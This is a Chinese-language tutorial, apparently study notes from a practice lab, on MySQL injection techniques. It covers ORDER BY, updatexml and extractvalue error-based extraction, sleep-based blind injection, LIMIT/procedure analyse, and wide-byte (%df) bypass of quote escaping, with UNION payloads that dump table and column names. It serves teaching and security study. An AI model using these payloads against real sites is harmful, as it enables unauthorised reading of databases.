目录
- select * from users order by id;
- //查询users表中所有记录以id字段排序(默认升序)
- select * from users order by id desc;//降序
获取数据库名称
- select * from users order by id
- and(updatexml(1,concat(0x7e,(select database()),0x7e),1));

- updatexml(XML_document, XPath_string, new_value)
-
- XML_document是文档对象的名称
-
- XPath_string是XPath格式的字符串
- (如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值)
-
- new_value替换查找到的数据
updatexml(1,concat(0x7e,payload),0x7e)
concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误,也就是我们的输入的具体的字符串不合规范。
那么哪些格式是不符合规范的,比如在字母数字前加入特殊字符如~,*
当页面并没有展示MYSQL的错误信息时,且只能根据页面的回显数据的状态进行判断时,可使用时间盲注。
select * from users order by id,(select 1 from (select sleep(3))a);//时间盲注

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。
LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。
如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
select * from users order by id limit 5,3;//从第6条查询3条

PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。所以在Limit后面 可以用 procedure analyse()这个子查询
- select * from users order by id limit 0,1 procedure
- analyse(extractvalue(1,concat(version())));//在MySQL版本低于5.5才行
当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。


可以看出 当输入 id=1' 页面直接提示把引号转义了
直接加上%df

然后用union来联合查询

爆表:
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

字段:
- ?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+
-
